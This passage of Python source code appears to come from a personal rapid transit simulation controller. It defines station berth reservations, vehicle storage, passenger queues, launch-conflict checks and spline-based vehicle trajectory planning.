split ts best_loop_length, best_loop_path = inf, None for prev_ts in prev_tses: loop_length, loop_path = self.get_path(vehicle.ts_id, prev_ts) if loop_length < best_loop_length: best_prev_ts = prev_ts best_loop_length = loop_length best_loop_path = loop_path # concatenate that path with a path to the station's unload entry_length, entry_path = self.get_path(best_prev_ts, vehicle.trip.dest_station.ts_ids[Station.UNLOAD]) path = best_loop_path + entry_path[1:] # concat lists. Discard prev_ts, so that it's not duplicated. return Trip(vehicle.trip.dest_station, path, vehicle.trip.passengers) # Vehicle is empty, so any station will do. else: return self.deadhead(vehicle, exclude=(vehicle.trip.dest_station,)) def get_path(self, ts_1, ts_2): """Returns a two tuple. The first element is the path length (in meters), and the second is the path. ts_1 and ts_2 are integer trackSegment ids.""" try: return self._dist_path_dict[ts_1][ts_2] except KeyError: return networkx.bidirectional_dijkstra(self.graph, ts_1, ts_2) def is_launch_blocked(self, station, vehicle, now): """Returns false if the vehicle may launch immediately. Otherwise, returns the time at which the vehicle(s) currently obstructing the launch exit the conflict zone. At that time, a new check will need to be made, as there is no guarantee that other vehicles won't have entered the conflict zone in the interveaning time. ASSUMPTION: All vehicles on the network are the same length as vehicle! """ assert isinstance(station, Station) assert isinstance(vehicle, Vehicle) # Optimization note: this is inefficent. Expect there to only be a few vehicle and station # variations, so caching the results for those few cases may make sense. # find the time it takes for the launch vehicle to reach the main line line_speed_dist = vehicle.get_dist_to_line_speed() # assume that vehicle is on the ts just prior to the station offramp merge_dist = (self.graph[vehicle.ts_id][station.ts_ids[Station.ACCEL]]['weight'] - vehicle.pos) + station.onramp_length assert line_speed_dist <= merge_dist, "Onramp for station %d ts %d is too short for vehicle to achieve line speed before merge. Adjust onramp length, or vehicle's max accel and jerk in the scenario's XML file. line_speed_dist=%.4f, merge_dist=%.4f" % (station.id, Station.ACCEL, line_speed_dist, merge_dist) merge_delay = vehicle.get_time_to_line_speed() + (merge_dist - line_speed_dist)/PrtController.LINE_SPEED ## knot_initial = Knot(vehicle.pos, vehicle.vel, vehicle.accel, now) ## knot_line_speed = Knot(None, PrtController.LINE_SPEED, 0, None) ## ## spline = vehicle.traj_solver.target_velocity(knot_initial, knot_line_speed) ## ## knot_final = Knot(vehicle.pos + station.onramp_length, PrtController.LINE_SPEED, 0 ## ## assert spline.q[-1] <= vehicle.pos + station.onramp_length, \ ## "Vehicle's accel and jerk settings are not sufficient to reach line speed before merging with the main line. " + \ ## "Adjust the network or vehicle settings in the scenario's XML file. %.3f, %.3f" \ ## % (spline.q[-1], vehicle.pos + station.onramp_length) ## merge_delay = spline.t[-1] - spline.t[0] ## assert merge_delay > PrtController.HEADWAY # Making the assumption that all vehicles on the main line are travelling # at constant velocity, then a safe launch just requires that a particular # section of track upstream of the merge is unoccupied. I'm referring # to that section as the confict_zone. So long as the line_speed is low, # the conflict zone will be close to the station onramp and is unlikely # to be complicated. As line speed increases, the conflict zone will be # pushed back and enlarge and will be increasing likely to have a merge # or station lie between the conflict zone and the onramp. headway_dist = PrtController.HEADWAY * PrtController.LINE_SPEED conflict_zone_start_dist = PrtController.LINE_SPEED * merge_delay - headway_dist - vehicle.length conflict_zone_end_dist = conflict_zone_start_dist + headway_dist + vehicle.length + headway_dist # walk back from the merge point finding the tracksegments and positions # that are in the conflict zone nodes, starts, ends = self.find_distant_segs_reverse(station.merge, conflict_zone_start_dist, conflict_zone_end_dist, [], [], []) # TODO optimize this? times = [] for v in self.vehicles.itervalues(): if v.station is not None: continue try: idx = nodes.index(v.ts_id) except ValueError: continue # v may be in conflict zone. Estimate current position if abs(v.accel) > 0.0001: warnings.warn("Vehicle on main line NOT travelling at constant velocity! v: %d, ts: %d, vel: %.3f, accel: %.3f" %\ (v.id, v.ts_id, v.vel, v.accel)) v_pos = v.pos + (now - v.last_update)*v.vel if v_pos > starts[idx] + TrajectorySolver.q_threshold \ and v_pos < ends[idx] - TrajectorySolver.q_threshold: # find the distance, and thus time, until v clears the conflict zone seg = v.ts_id clearing_dist = ends[idx] - v_pos path = networkx.dijkstra_path(self.graph, seg, station.merge) for seg in path[1:]: try: idx = nodes.index(seg) clearing_dist += ends[idx] - starts[idx] except ValueError: break times.append(clearing_dist/v.vel) if times: return max(times) + now else: return False def find_distant_segs_reverse(self, initial_node, start_dist, end_dist, nodes, starts, ends): """Recursively walk the edges of a weighted networkx digraph until start_dist is reached, then adds all nodes encountered until end_dist is reached. Excludes stations from the walk. initial_node: the starting segment start_dist: the distance from initial node at which the conflict zone starts end_dist: the distance from initial node at which the conflict zone ends nodes, starts, ends: lists to which the results are added. Returns three parallel lists: nodes, starts, and ends""" preds = self.graph.predecessors(initial_node) for node in preds: # exclude station segments from the walk if self.track2station.get(node) is not None: continue edge_length = self.graph[node][initial_node]['weight'] if start_dist <= edge_length: start = max(edge_length-end_dist, 0) end = min(edge_length-start_dist, edge_length) try: # don't add duplicates. Use the widest start/end values found idx = nodes.index(node) starts[idx] = min(start, starts[idx]) ends[idx] = max(end, ends[idx]) except ValueError: # regular case, adding a new node nodes.append(node) starts.append(start) ends.append(end) if end_dist > edge_length: self.find_distant_segs_reverse(node, start_dist-edge_length, end_dist-edge_length, nodes, starts, ends) return nodes, starts, ends def coordinate_shift(self, idx, path): """Returns a numeric offet that when subtracted from a position in path[0]'s coordinate frame translates it to path[idx]'s coordinate frame. The path is a list of ts_ids.""" if idx == 0: return 0 assert 0 <= idx <= len(path)-1 return sum(self.graph[a][b]['weight'] for a, b in pairwise(path[:idx+1])) def _build_station_tables(self): """Returns a pair of 2D tables containing distances and paths. The tables are accessed like table[origin][dest], where each origin is a station's LOAD ts and the dest is a station's UNLOAD ts.""" origins = [s.ts_ids[Station.LOAD] for s in self.stations.values()] dests = [s.ts_ids[Station.UNLOAD] for s in self.stations.values()] path_dist_dict = defaultdict(dict) for o in origins: for d in dests: path_dist_dict[o][d] = networkx.bidirectional_dijkstra(self.graph, o, d) return path_dist_dict def _to_numeric_id(self, element): """For elements similar to: <ID>x_trackSegment_forward</ID> where x is an integer. Returns just the integer value.""" return int(element.childNodes[0].data.split('_')[0]) class Storage(object): """A simple data storing class that keeps track of how many vehicles and vacancies are available at one Station and for one vehicle model. """ def __init__(self, model_name, initial_supply, max_capacity): self.model_name = model_name self.max_capacity = max_capacity self._num_vehicles = initial_supply self._num_pending_entry = 0 self._num_pending_exit = 0 def get_num_vehicles(self): n = self._num_vehicles - self._num_pending_exit return n def get_num_vacancies(self): if math.isinf(self.max_capacity): # avoid case where inf is may be subtracted from inf, resulting in nan return self.max_capacity else: return self.max_capacity - self._num_vehicles - self._num_pending_entry def start_vehicle_entry(self): self._num_pending_entry += 1 assert 0 <= self._num_pending_entry <= self.max_capacity def end_vehicle_entry(self): self._num_pending_entry -= 1 self._num_vehicles += 1 assert 0 <= self._num_pending_entry assert 0 <= self._num_vehicles <= self.max_capacity def start_vehicle_exit(self): self._num_pending_exit += 1 assert 0 <= self._num_pending_exit <= self.max_capacity def end_vehicle_exit(self): self._num_pending_exit -= 1 self._num_vehicles -= 1 assert 0 <= self._num_pending_exit assert 0 <= self._num_vehicles <= self.max_capacity class Station(object): OFF_RAMP_I = 0 OFF_RAMP_II = 1 DECEL = 2 UNLOAD = 3 QUEUE = 4 LOAD = 5 ACCEL = 6 ON_RAMP_I = 7 ON_RAMP_II = 8 UNLOAD_PLATFORM = 0 QUEUE_PLATFORM = 1 LOAD_PLATFORM = 2 SPEED_LIMIT = None # In m/s. Set in main(). An ideal speed will be just *below* # the max speed that a vehicle would hit when advancing one berth. controller = None def __init__(self, s_id, ts_ids, split_ts_id, bypass_ts_id, merge_ts_id, onramp_length, unload_positions, queue_positions, load_positions, storage_entrances, storage_exits, storage_dict): """s_id: An integer station id. ts_ids: A list containing integer TrackSegment ids. See Station consts. split_ts_id: The TrackSegment id upsteam of both the bypass and the offramp. bypass_ts_id: The TrackSegment id which bypasses the station. That is, the main track rather than the station's track. merge_ts_id: The TrackSegment id downstream of both the bypass and the onramp to the main line. onramp_length: The sum of the ACCEL, ON_RAMP_I, and ON_RAMP_II lengths. unload_positions, queue_positions, load_positions: Each of the above are lists of floats, where each float designates a position that the vehicle will target in order to park in the berth. i.e. to unload in berth 1, the vehicle will go to the position found in unload_positions[1]. storage_entrances: A sequence of (platform_id, berth_id) pairs. storage_exits: A sequences of (platform_id, berth_id) pairs. storage_dict: A dict keyed by model name, whose values are Storage objects. """ self.id = s_id self.ts_ids = ts_ids self.split = split_ts_id self.bypass = bypass_ts_id self.merge = merge_ts_id self.onramp_length = onramp_length self.berth_positions = [unload_positions, queue_positions, load_positions] self.reservations = [[None]*len(unload_positions), [None]*len(queue_positions), [None]*len(load_positions)] self.storage_entrances = storage_entrances self.storage_exits = storage_exits self.storage_dict = storage_dict self.passengers = deque() self.v_count = 0 # List of (time, vehicle, flag) 3-tuples where flag=True if the vehicle # is in the LAUNCH_WAITING state and False otherwise. self.launch_wait_times = [] self.NUM_UNLOAD_BERTHS = len(unload_positions) self.NUM_QUEUE_BERTHS = len(queue_positions) self.NUM_LOAD_BERTHS = len(load_positions) self.NUM_BERTHS = self.NUM_UNLOAD_BERTHS + self.NUM_QUEUE_BERTHS + self.NUM_LOAD_BERTHS def __cmp__(self, other): if not isinstance(other, Station): raise ValueError else: return cmp(self.id, other.id) def add_passenger(self, pax): self.passengers.append(pax) def pop_passenger(self): """Pops the oldest passenger and returns it. Raises NoPaxAvailableError if none available.""" try: return self.passengers.popleft() except IndexError: raise NoPaxAvailableError def get_next_berth(self, berth_id, platform_id): """Returns a 4-tuple: (berth_pos, berth_id, platform_id, ts_id) describing the berth following the arguments. Returns None if there is no next berth.""" berth_id += 1 while True: # Use a loop since a platform may have 0 berths. try: # assume not at last berth on this platform_id return (self.berth_positions[platform_id][berth_id], berth_id, platform_id, self.ts_ids[platform_id+3]) except IndexError: # whoops. That was the last berth. platform_id += 1 berth_id = 0 if platform_id == len(self.reservations): return None # Just went off the end of the last platform def get_vehicle(self, berth_id, platform_id): """Returns the vehicle which has a reservation for the specified berth, or returns None. """ return self.reservations[platform_id][berth_id] def get_lead_vehicle(self, vehicle=None, berth_id=None, platform_id=None): """Returns the vehicle that is ahead of 'vehicle', in that the lead vehicle has reserved a berth ahead. Returns None if no vehicles are ahead. Assumes a linear station layout. Parameters: Supply either a 'vehicle' or a 'berth_id' and 'platform_id'. Returns: A Vehicle instance or None """ assert not (vehicle and (berth_id or platform_id)) # Only supply vehicle, or berth_id and platform_id if vehicle: berth_id, platform_id = vehicle.berth_id, vehicle.platform_id while True: next_berth = self.get_next_berth(berth_id, platform_id) if next_berth is not None: berth_pos, berth_id, platform_id, ts_id = next_berth # unpack tuple v = self.reservations[platform_id][berth_id] if v is not None: return v else: return None def _request_berth_on_platform(self, vehicle, platform_id): """Finds an accessible, available berth which is as close to the station exit as possible, and reserves it for use by vehicle. platform_id: one of the station consts: *_PLATFORM If a berth is found then the vehicle's old berth is released and the vehicle's berth_pos, berth_id, platform_id, and plat_ts are updated. Will only choose a berth that is ahead of the vehicle's current berth. Returns (berth_position, berth_id, platform_id, ts_id) if sucessful, Raises NoBerthAvailableError if no berths are available on the requested platform. """ assert isinstance(vehicle, Vehicle) if vehicle.platform_id is not None: # only allow forward flow through station assert platform_id >= vehicle.platform_id if platform_id == vehicle.platform_id: curr_berth_id = vehicle.berth_id else: curr_berth_id = -1 choosen_idx = None for idx, reservation in enumerate(self.reservations[platform_id]): if idx <= curr_berth_id: continue elif reservation is None: choosen_idx = idx else: break if choosen_idx is not None: self.release_berth(vehicle) self.reservations[platform_id][choosen_idx] = vehicle berth_pos = self.berth_positions[platform_id][choosen_idx] plat_ts = self.ts_ids[platform_id+3] # +3 maps platform_id to ts vehicle.berth_pos = berth_pos vehicle.berth_id = choosen_idx vehicle.platform_id = platform_id vehicle.plat_ts = plat_ts vehicle.station = self self.v_count += 1 assert 0 <= self.v_count <= self.NUM_BERTHS return (berth_pos, choosen_idx, platform_id, plat_ts) else: # no berth available raise NoBerthAvailableError() def request_unload_berth(self, vehicle): """Requsts a berth where passengers may be unloaded. If the vehicle already has a berth reservation, it is assumed that the vehicle is within it's assigned berth. The old reservation is revoked, and the vehicle is updated with new reserveation info. The new reservation info is also returned. Returns (berth_position, berth_id, platform_id, ts_id) if sucessful. Raises NoBerthAvailableError if no unload berths are available. """ assert isinstance(vehicle, Vehicle) return self._request_berth_on_platform(vehicle, self.UNLOAD_PLATFORM) def request_load_berth(self, vehicle): """Requests a berth where passengers may be loaded. May return a berth on the unload, queue, or load platform depending on accessibility and availability. If the vehicle already has a berth reservation, it is assumed that the vehicle is within its assigned berth. The old reservation is revoked, and the vehicle is updated with new reservation info. The new reservation info is also returned. Returns (berth_position, berth_id, platform_id, ts_id) if sucessful. Raises NoBerthAvailableError if no queue or loading berths are available. """ assert isinstance(vehicle, Vehicle) if vehicle.platform_id is None: platform_id = self.UNLOAD_PLATFORM else: platform_id = vehicle.platform_id # Check accessibility of platforms, choosing the furthest reachable # platform. for p_id in range(platform_id, self.LOAD_PLATFORM+1): if p_id == vehicle.platform_id: if any(self.reservations[p_id][vehicle.berth_id+1:]): break else: if any(self.reservations[p_id]): break # Check availability on desired platform. If NoBerthAvailable, step back # to previous platform unless platform would be behind vehicle's current # position. Uses assumption that station has linear layout, # and that lower platform ids are closer to the station's entrance. while True: try: return self._request_berth_on_platform(vehicle, p_id) except NoBerthAvailableError: p_id -= 1 if p_id < vehicle.platform_id or p_id < self.UNLOAD_PLATFORM: raise def request_launch_berth(self, vehicle): """Requests a berth from which vehicle may exit the station. May return a berth on the unload, queue, or load platform depending on accessibility and availability. If the vehicle already has a berth reservation, it is assumed that the vehicle is within its assigned berth. The old reservation is revoked, and the vehicle is updated with new reservation info. The new reservation info is also returned. Returns (berth_position, berth_id, platform_id, ts_id) if sucessful. Raises NoBerthAvailableError if no queue or loading berths are available. """ # With the current station design, vehicles are launced from the last # loading berth. return self.request_load_berth(vehicle) def release_berth(self, vehicle): """Frees the vehicle's current berth for reuse. Alters the vehicle! Returns None.""" assert isinstance(vehicle, Vehicle) found = False for platform in self.reservations: for idx, v in enumerate(platform): if v is vehicle: platform[idx] = None found = True break if found: self.v_count -= 1 assert 0 <= self.v_count <= self.NUM_BERTHS vehicle.berth_pos = None vehicle.berth_id = None vehicle.platform_id = None vehicle.plat_ts = None vehicle.station = None def is_launch_berth(self, berth_id, platform_id): """Does berth have direct access to the main line? That is, a vehicle can exit the station without crossing other berths or platforms. """ return platform_id == self.LOAD_PLATFORM and \ berth_id == len(self.reservations[platform_id])-1 def is_load_berth(self, berth_id, platform_id): return platform_id == self.LOAD_PLATFORM def is_unload_berth(self, berth_id, platform_id): return platform_id == self.UNLOAD_PLATFORM def is_empty(self): """Returns True if no berths that have been reserved by vehicles.""" if any(any(self.reservations[self.UNLOAD_PLATFORM]), any(self.reservations[self.QUEUE_PLATFORM]), any(self.reservations[self.LOAD_PLATFORM])): return False else: return True def get_demand(self): """Returns a value indicating vehicle demand. Higher values indicate more demand, and values may be negative.""" if self.v_count == self.NUM_BERTHS: # Being full prevents vehicles from arriving, so we want to actively # reduce the number of vehicles, regardless of how many passengers # are waiting. return -float('inf') # Provide demand based on the discrepency between the number of # passengers waiting and the number of vehicles in the station passenger_demand = len(self.passengers) - self.v_count if passenger_demand <= 0: # Provide some demand until there are enough vehicles in the # station to fill the LOAD and QUEUE berths. When no vehicles are present, # advertise slightly less than 1 passenger's worth of demand. When # there are more vehicles than can fit in LOAD + QUEUE, demand # becomes negative. berth_demand = (self.NUM_QUEUE_BERTHS + self.NUM_LOAD_BERTHS - self.v_count) \ / (self.NUM_QUEUE_BERTHS + self.NUM_LOAD_BERTHS + 1.0) return berth_demand else: return passenger_demand def get_num_storage_vehicles(self, model_name): try: storage = self.storage_dict[model_name] return storage.get_num_vehicles() except KeyError: return 0 def get_num_storage_vacancies(self, model_name): try: storage = self.storage_dict[model_name] return storage.get_num_vacancies() except KeyError: return 0 def call_from_storage(self, model_name): if not self.storage_exits: raise NoVehicleAvailableError # TODO: Use a more accurate error? storage = self.storage_dict[model_name] assert isinstance(storage, Storage) if storage.get_num_vehicles() == 0: raise NoVehicleAvailableError # Find an open berth that is marked as a storage entrance to move the # vehicle into. Start the search at the end closer to the exit. for platform_id, berth_id in reversed(self.storage_exits): if self.reservations[platform_id][berth_id] is None: # Found an open slot to bring the vehicle into. Check that no # vehicles are going to pass through the slot when travelling to # their reserved berth. lead_vehicle = self.get_lead_vehicle(berth_id=berth_id, platform_id=platform_id) if isinstance(lead_vehicle, Vehicle): # Vehicle must be clear of the berth at the start of the # storage exit procedure. try: platform_ts_id = self.ts_ids[platform_id+3] lead_vehicle_path_idx = lead_vehicle.path.index(platform_ts_id) lv_knot = lead_vehicle.estimate_pose(time=self.controller.current_time, idx=lead_vehicle_path_idx) if lv_knot.pos <= self.berth_positions[platform_id][berth_id] \ + lead_vehicle.length: continue # Conflict except ValueError: # lv.path.index(platform_id) failed -- path was already # changed, indictating that vehicle has reached its berth. pass # lead_vehicle may also be None (no berths reserved ahead) or # api.NONE_ID, indicating that a storage call is occuring in the # next occupied berth. In the case of NONE_ID, we can rely on # the other storage call to have checked for vehicles passing # through and do not need to check again. self.reservations[platform_id][berth_id] = api.NONE_ID break else: # Not worth raising a different error type if the behavior is the same raise NoVehicleAvailableError storage.start_vehicle_exit() self.v_count += 1 cmd = api.CtrlCmdStorageExit() cmd.sID = self.id cmd.platformID = platform_id cmd.berthID = berth_id cmd.position = self.berth_positions[platform_id][berth_id] cmd.model_name = model_name self.controller.send(api.CTRL_CMD_STORAGE_EXIT, cmd) # storage.end_vehicle_exit() is called upon receipt of a # SimCompleteStorageExit message. def put_into_storage(self, vehicle): """Moves a vehicle into Storage. PreConditions: Vehicle is parked in one of the self.storage_entrances berths """ assert isinstance(vehicle, Vehicle) assert (vehicle.platform_id, vehicle.berth_id) in self.storage_entrances storage = self.storage_dict[vehicle.model] if storage.get_num_vacancies() == 0: raise NoVacancyAvailableError assert isinstance(storage, Storage) storage.start_vehicle_entry() self.v_count -=1 vehicle.state = States.STORAGE_ENTERING cmd = api.CtrlCmdStorageEnter() cmd.vID = vehicle.id cmd.sID = self.id cmd.platformID = vehicle.platform_id cmd.berthID = vehicle.berth_id self.controller.send(api.CTRL_CMD_STORAGE_ENTER, cmd) # storage.end_vehicle_enter() is called upon receipt of # the SimCompleteStorageEnter message. def heartbeat(self): """Triggers synchronized advancement of vehicles in the station.""" self.controller.log.debug("t:%5.3f Station %d heartbeat.", self.controller.current_time, self.id) max_demand = max(s.get_demand() for s in self.controller.manager.stations.itervalues()) for plat in (self.LOAD_PLATFORM, self.QUEUE_PLATFORM, self.UNLOAD_PLATFORM): for v in reversed(self.reservations[plat]): if isinstance(v, Vehicle) \ and v.state not in (States.STORAGE_ENTERING, States.STORAGE_EXITING): assert self.reservations[v.platform_id][v.berth_id] is v # If vehicle is capable of moving forward, do so self.controller.trigger_advance(v, self) # changes v.state to *_ADVANCING if able to move # For the vehicle's that are stuck in their current position # try to do something useful with the time. if v.state is States.UNLOAD_WAITING: v.state = States.DISEMBARKING v.disembark(v.trip.passengers) elif v.state is States.LOAD_WAITING: # If there is no postive demand anywhere, start putting vehicles into storage if max_demand <= 0 and (v.platform_id, v.berth_id) in self.storage_entrances: try: self.put_into_storage(v) max_demand = self.get_demand() # Only put vehicles into storage until this station's demand goes non-negative. except NoVacancyAvailableError: pass elif v.platform_id == self.LOAD_PLATFORM: try: v.trip = self.controller.manager.request_trip(v) v.set_path(v.trip.path) v.state = States.EMBARKING v.embark(v.trip.passengers) except NoPaxAvailableError: if self.is_launch_berth(v.berth_id, v.platform_id): trip = self.controller.manager.deadhead(v) if trip.dest_station is not self: v.trip = trip v.set_path(v.trip.path) v.state = States.LAUNCH_WAITING v.station.launch_wait_times.append( (self.controller.current_time, v, True) ) self.controller.log.info("%5.3f Vehicle %d deadheading from station %d. Going to station %d.", self.controller.current_time, v.id, self.id, v.trip.dest_station.id) elif v.state is States.EXIT_WAITING: if self.is_launch_berth(v.berth_id, v.platform_id): v.state = States.LAUNCH_WAITING v.station.launch_wait_times.append( (self.controller.current_time, v, True) ) self.controller.request_v_status(v.id) def get_launch_wait_times(self): wait_times = [] for (time_i, vehicle_i, flag_i), (time_f, vehicle_f, flag_f) in pairwise(self.launch_wait_times): if flag_i is True: wait_times.append( time_f - time_i ) assert vehicle_i is vehicle_f assert flag_f is False if len(self.launch_wait_times) > 0: if self.launch_wait_times[-1][2] is True: wait_times.append( self.controller.current_time - self.launch_wait_times[-1][0] ) return wait_times class Passenger(object): def __init__(self, pax_id, origin_id, dest_id, origin_time): self.id = pax_id self.origin_id = origin_id self.dest_id = dest_id self.origin_time = origin_time # This information is held for the purposes of rescheduling the # passenger if a vehicle is too full. See add_to_path. self.path = [] def __str__(self): return "id: %d, origin_id: %d, dest_id: %d, origin_time: %f" % \ (self.id, self.origin_id, self.dest_id, self.origin_time) class Vehicle(object): SPEED_INCREMENT = 2.77777 # 10 km/hr # To prevent a vehicle's trajectory from being undefined, splines are extended # so as to reach to the end of the simulation (and a little further). This # constant controls the 'little further'. Needs to be long enough that no algorithm # tries to predict a vehicle trajectory beyond this length. The incintive to keep # it somewhat small is that rounding errors are excacerbated if it is very large. SPLINE_TIME_EXTENSION = 3600 # in seconds controller = None # interfaces with the sim manager = None # high level planner def __init__(self, v_id, model_name, length, capacity, ts_id, pos, vel, accel, j_max, j_min, a_max, a_min, v_max): # Can't handle non-zero initial accelerations at this time assert accel == 0 self.id = v_id self.model = model_name self.length = length self.capacity = capacity self.pos = pos self.vel = vel self.accel = accel self.j_max = j_max self.j_min = j_min self.a_max = a_max self.a_min = a_min self.v_max = v_max self.pax = [] end_time = self.controller.sim_end_time + 1 # The spline's coordinate frame is always the first element of the path. self._path = [ts_id] self._current_path_index = 0 self._spline = CubicSpline([pos, pos+vel*end_time], [vel, vel], [0, 0], [0], [0.0, end_time]) self._merge_slot = None self.traj_solver = TrajectorySolver(self.v_max, self.a_max, self.j_max, 0, self.a_min, self.j_min) self.last_update = 0.0 self.trip = None self._state_change_time = self.controller.current_time self._state = States.NONE self.time_spent_in_states = [0.0]*len(States.strings) # Station that the vehicle is currently in. self.station = None # Info for a reserved berth, not the current berth!! self.platform_id = None self.berth_pos = None self.berth_id = None self.plat_ts = None # A private flag for indicating whether a vehicle's launch from a # station has been commanded yet or not. self._launch_begun = True accel_spline = self.traj_solver.target_velocity(Knot(0,0,0,0), Knot(None,self.controller.LINE_SPEED,0,None)) self._dist_to_line_speed = accel_spline.q[-1] self._time_to_line_speed = accel_spline.t[-1] decel_spline = self.traj_solver.target_velocity(Knot(0,self.controller.LINE_SPEED,0,0), Knot(None,0,0,None)) self._dist_to_stop = decel_spline.q[-1] self._time_to_stop = decel_spline.t[-1] # Runtime stats self.num_wave_offs = 0 def __str__(self): return "id:%d, ts_id:%d, pos:%.3f, vel:%.3f, accel:%.3f, last_update:%.3f, model:%s, length:%.3f" \ % (self.id, self.ts_id, self.pos, self.vel, self.accel, self.last_update, self.model, self.length) def __cmp__(self, other): if not isinstance(other, Vehicle): raise ValueError else: return cmp(self.id, other.id) def get_ts_id(self): return self._path[self._current_path_index] ts_id = property(get_ts_id) def get_spline(self): return self._spline def set_spline(self, spline, send=True): """Side Effect Warning: If the spline does not continue until the end of the sim, then it is extended. """ assert isinstance(spline, CubicSpline) assert spline.t[0] < self.controller.current_time + 2*TrajectorySolver.t_threshold# Spline is valid at current time and beyond. self._path = self._path[self._current_path_index:] self._current_path_index = 0 sim_end_time = self.controller.sim_end_time if spline.t[-1] < sim_end_time: assert abs(spline.a[-1]) < 2*TrajectorySolver.a_threshold delta_q = spline.v[-1]*(sim_end_time + self.SPLINE_TIME_EXTENSION - spline.t[-1]) spline.append(Knot(spline.q[-1]+delta_q, spline.v[-1], 0, sim_end_time+self.SPLINE_TIME_EXTENSION), 0) self._spline = spline if send: self.send_spline() spline = property(get_spline, doc="""A vehicle's planned trajectory represented by a cubic_spline.CubicSpline object.""") def get_merge_slot(self): return self._merge_slot def set_merge_slot(self, merge_slot): self._merge_slot = merge_slot merge_slot = property(get_merge_slot, doc="""A vehicle's MergeSlot instance.""") def get_path(self): return self._path def set_path(self, path, send=True): ## assert path[0] == self._path[self._current_path_index] self._path = self._path[:self._current_path_index] + path if send: self.send_path() path = property(get_path, doc="""A vehicle's planned path, as a list of tracksegment id's. The first id must be the vehicle's current location.""") def get_state(self): return self._state def set_state(self, state): """Changes the state, and keeps a tally of how long the vehicle spends in each state. """ now = self.controller.current_time self.time_spent_in_states[self._state] += now - self._state_change_time self._state_change_time = now self._state = state state = property(get_state, set_state, None, "Current state in the state machine.") def update_vehicle(self, v_status, time): """Updates the relevant vehicle data.""" assert v_status.vID == self.id if self.ts_id != v_status.nose_locID: self._current_path_index += 1 assert self.ts_id == int(v_status.nose_locID) # convert to int from a long self.pos = v_status.nose_pos self.vel = v_status.vel self.accel = v_status.accel self.pax = v_status.passengerIDs[:] # copy self.last_update = time if v_status.lvID != api.NONE_ID \ and v_status.lv_distance <= self.vel*self.controller.HEADWAY - 0.001: self.controller.log.warn("Vehicle %i is following too close to vehicle %i. lv_dist: %.3f desired separation: %.3f" \ % (self.id, v_status.lvID, v_status.lv_distance, self.vel*self.controller.HEADWAY)) ## if __debug__: ## # Verify that the data from the sim is still matching with the vehicle's ## # spline. Note that these asserts should be removed if the vehicle ## # is sent v_status data with noise added. ## knot = self.estimate_pose(time) ## assert abs(knot.pos - self.pos) < 1E-3 ## assert abs(knot.vel - self.vel) < 1E-3 ## assert abs(knot.accel - self.accel) < 1E-3 def estimate_pose(self, time, idx=None, path=None): """Returns a cubic_spline.Knot containing the vehicle's position, velocity, and acceleration at time. The position is translated from path[0]'s coordinate frame to path[idx]'s coordinate frame. Raises: Allows a OutOfBoundsError from self._spline to go uncaught if time is not within the spline's valid range. """ if path is None: path = self._path if idx is None: idx = self._current_path_index offset = self.manager.coordinate_shift(idx, path) knot = self._spline.evaluate(time) knot.pos -= offset return knot def send_path(self): """Sends the path to the sim. Path is a sequence of tracksegment ids, where the first element is expected to be the vehicle's current tracksegment.""" if len(self.path) > 1: # only send the itinerary msg if it contains information itinerary_msg = api.CtrlCmdVehicleItinerary() itinerary_msg.vID = self.id itinerary_msg.trackIDs.extend(self._path[self._current_path_index+1:]) # don't include the segment self is currently on itinerary_msg.clear = True # Always replace the existing path, rather than appending to it. self.controller.send(api.CTRL_CMD_VEHICLE_ITINERARY, itinerary_msg) def run(self, speed_limit=None, dist=None, final_speed=0): """Commands the vehicle's path and trajectory. Obeys the speed_limit constraint, if supplied. Estimates the vehicle's current pose from the current spline. 'speed_limit' gives an upper limit on vehicle speed. Vehicle may use other, lower limits if applicable. 'dist' is given as the number of meters to the target position. If left as none, then the vehicle accelerates to the speed limit and continues at that velocity until the end of the simulation (or until trajectory is changed). 'final_speed' is to be used in conjunction with 'dist'. Measured in meters/sec. If a distance is specified, returns the scheduled arrival time.""" if speed_limit is None: speed_limit = self.v_max else: speed_limit = min(self.v_max, speed_limit) initial_knot = self.estimate_pose(self.controller.current_time) if dist is None: spline = self.traj_solver.target_velocity(initial_knot, Knot(None, speed_limit, 0, None)) else: spline = self.traj_solver.target_position(initial_knot, Knot(dist + initial_knot.pos, final_speed, 0, None), max_speed=speed_limit) self.set_spline(spline) # If a distance was specified, return the arrival time. if dist is not None: return spline.t[-2] def enter_station(self, station): """Reserves a station berth, then changes the vehicle's spline and path to go to the reserved berth. Relinquishes the vehicle's merge slot, if it has one and the vehicle is successful in gaining entry to the station. Raises: Does not catch a NoBerthAvailableError raised by self._get_station_reservation Does not catch a FatalTrajectoryError raised by self._do_station_entry Returns: None """ # Try to reserve a berth self._get_station_reservation(station) # Try to go to the reserved berth. May fail if another vehicle has # entered station too recently. self._do_station_entry(station) # If vehicle has a merge_slot, relinquish it. if self.merge_slot: self.merge_slot.relinquished = True self.set_merge_slot(None) def _get_station_reservation(self, station): """Attempts to get a reservation from station. Which station platform depends on whether or not the vehicle is carrying passengers. Raises: Does not catch a NoBerthAvailableError raised by station.request_*_berth Additionally, raises an NoBerthAvailableError if the vehicle is empty and the reservation it received would block other vehicles from entering the station. Returns: None """ assert isinstance(station, Station) if self.trip is not None: assert station is self.trip.dest_station if self.pax: station.request_unload_berth(self) else: station.request_load_berth(self) # If the vehicle is empty, and the assigned berth is the entrance # berth, give it up and waive off so as to not clog up the station # with an empty vehicle. if self.has_berth_reservation() and not self.pax \ and self.platform_id == Station.UNLOAD_PLATFORM \ and self.berth_id == 0: station.release_berth(self) raise NoBerthAvailableError() def _do_station_entry(self, station): """Assumes that vehicle has a reserved berth already. Slows the vehicle to the station's speed limit then brings the vehicle to a halt at its reserved berth/platform. Will change the vehicle's spline and path to accomplish this. Raises: FatalTrajectoryError Tries to generate a trajectory that does not conflict with the most recent vehicle to enter the station. If a non-conflicting trajectory cannot be found, a FatalTrajectoryError goes uncaught. Returns: The time at which the vehicle will come to a halt within its reserved berth. """ assert isinstance(station, Station) current_knot = self.estimate_pose(self.controller.current_time) # Slow to station speed limit at the start of the UNLOAD segment unload_ts_id = station.ts_ids[Station.UNLOAD] unload_dist, unload_path = self.manager.get_path(self.ts_id, unload_ts_id) unload_knot = Knot(unload_dist, station.SPEED_LIMIT, 0, None) if current_knot.vel > TrajectorySolver.v_threshold: # Non-zero velocity if current_knot.accel > 0: accel_bleed = self.traj_solver.target_acceleration(current_knot, Knot(None, None, 0, None)) peak_vel_knot = Knot(accel_bleed.q[-1], accel_bleed.v[-1], accel_bleed.a[-1], accel_bleed.t[-1]) to_unload_spline = accel_bleed.concat(self.traj_solver.target_position(peak_vel_knot, unload_knot, max_speed=peak_vel_knot.vel)) 